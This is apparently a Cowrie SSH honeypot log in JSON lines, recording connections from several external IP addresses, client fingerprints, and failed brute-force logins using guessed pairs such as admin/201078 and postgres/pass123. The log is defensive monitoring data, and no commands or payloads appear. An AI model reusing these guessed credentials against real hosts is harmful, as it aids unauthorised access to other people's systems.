{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":38796,"dst_ip":"10.17.0.5","dst_port":22,"session":"a68a4feebfe1","protocol":"ssh","message":"New connection: 50.6.248.168:38796 (10.17.0.5:22) [session: a68a4feebfe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:10:13.524353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:10:13.530991Z","src_ip":"50.6.248.168","session":"a68a4feebfe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:10:13.545109Z","src_ip":"50.6.248.168","session":"a68a4feebfe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:10:13.662371Z","src_ip":"50.6.248.168","session":"a68a4feebfe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:10:14.689885Z","src_ip":"50.6.248.168","session":"a68a4feebfe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":51106,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddf30e3e3801","protocol":"ssh","message":"New connection: 50.6.248.168:51106 (10.17.0.5:22) [session: ddf30e3e3801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:04.153043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:04.157673Z","src_ip":"50.6.248.168","session":"ddf30e3e3801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:04.173544Z","src_ip":"50.6.248.168","session":"ddf30e3e3801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456@Aa","message":"login attempt [ubuntu/123456@Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:04.250513Z","src_ip":"50.6.248.168","session":"ddf30e3e3801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:05.265580Z","src_ip":"50.6.248.168","session":"ddf30e3e3801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.98.230.202","src_port":40686,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ebe3aba04f1","protocol":"ssh","message":"New connection: 114.98.230.202:40686 (159.203.135.109:22) [session: 5ebe3aba04f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:06.294321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:06.299334Z","src_ip":"114.98.230.202","session":"5ebe3aba04f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:07.913158Z","src_ip":"114.98.230.202","session":"5ebe3aba04f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":12978,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8a4e5b0abe1","protocol":"ssh","message":"New connection: 107.150.103.210:12978 (10.17.0.5:22) [session: a8a4e5b0abe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:08.393710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:08.398903Z","src_ip":"107.150.103.210","session":"a8a4e5b0abe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:08.469657Z","src_ip":"107.150.103.210","session":"a8a4e5b0abe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pass123","message":"login attempt [postgres/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:08.783148Z","src_ip":"107.150.103.210","session":"a8a4e5b0abe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@2024","message":"login attempt [mysql/mysql@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:08.876336Z","src_ip":"114.98.230.202","session":"5ebe3aba04f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:09.857121Z","src_ip":"107.150.103.210","session":"a8a4e5b0abe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:10.117082Z","src_ip":"114.98.230.202","session":"5ebe3aba04f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":48767,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfbdde609856","protocol":"ssh","message":"New connection: 2.57.121.112:48767 (10.17.0.5:22) [session: bfbdde609856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:20.758551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:20.762807Z","src_ip":"2.57.121.112","session":"bfbdde609856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:20.863841Z","src_ip":"2.57.121.112","session":"bfbdde609856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210176","message":"login attempt [admin/210176] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:21.649715Z","src_ip":"2.57.121.112","session":"bfbdde609856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"201284","message":"login attempt [admin/201284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:22.754493Z","src_ip":"2.57.121.112","session":"bfbdde609856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20111976","message":"login attempt [admin/20111976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:23.885847Z","src_ip":"2.57.121.112","session":"bfbdde609856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"201078","message":"login attempt [admin/201078] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:24.989910Z","src_ip":"2.57.121.112","session":"bfbdde609856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200992","message":"login attempt [admin/200992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:26.095652Z","src_ip":"2.57.121.112","session":"bfbdde609856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:27.203817Z","src_ip":"2.57.121.112","session":"bfbdde609856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":44812,"dst_ip":"10.17.0.5","dst_port":22,"session":"a167f125e7a1","protocol":"ssh","message":"New connection: 50.6.248.168:44812 (10.17.0.5:22) [session: a167f125e7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:55.353835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:55.359072Z","src_ip":"50.6.248.168","session":"a167f125e7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:55.384460Z","src_ip":"50.6.248.168","session":"a167f125e7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234!@#$","message":"login attempt [ubuntu/qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:55.494332Z","src_ip":"50.6.248.168","session":"a167f125e7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:11:56.521610Z","src_ip":"50.6.248.168","session":"a167f125e7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":37088,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ba67d8284fe","protocol":"ssh","message":"New connection: 107.150.103.210:37088 (10.17.0.5:22) [session: 7ba67d8284fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:12:38.163932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:12:38.167689Z","src_ip":"107.150.103.210","session":"7ba67d8284fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:12:38.240409Z","src_ip":"107.150.103.210","session":"7ba67d8284fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Welcome1","message":"login attempt [ftpuser/Welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:12:38.556838Z","src_ip":"107.150.103.210","session":"7ba67d8284fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:12:39.634507Z","src_ip":"107.150.103.210","session":"7ba67d8284fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":43442,"dst_ip":"10.17.0.5","dst_port":22,"session":"b72246b95c1b","protocol":"ssh","message":"New connection: 50.6.248.168:43442 (10.17.0.5:22) [session: b72246b95c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:12:47.429191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:12:47.434772Z","src_ip":"50.6.248.168","session":"b72246b95c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:12:47.465234Z","src_ip":"50.6.248.168","session":"b72246b95c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:12:47.615677Z","src_ip":"50.6.248.168","session":"b72246b95c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:12:48.637018Z","src_ip":"50.6.248.168","session":"b72246b95c1b","protocol":"ssh"}
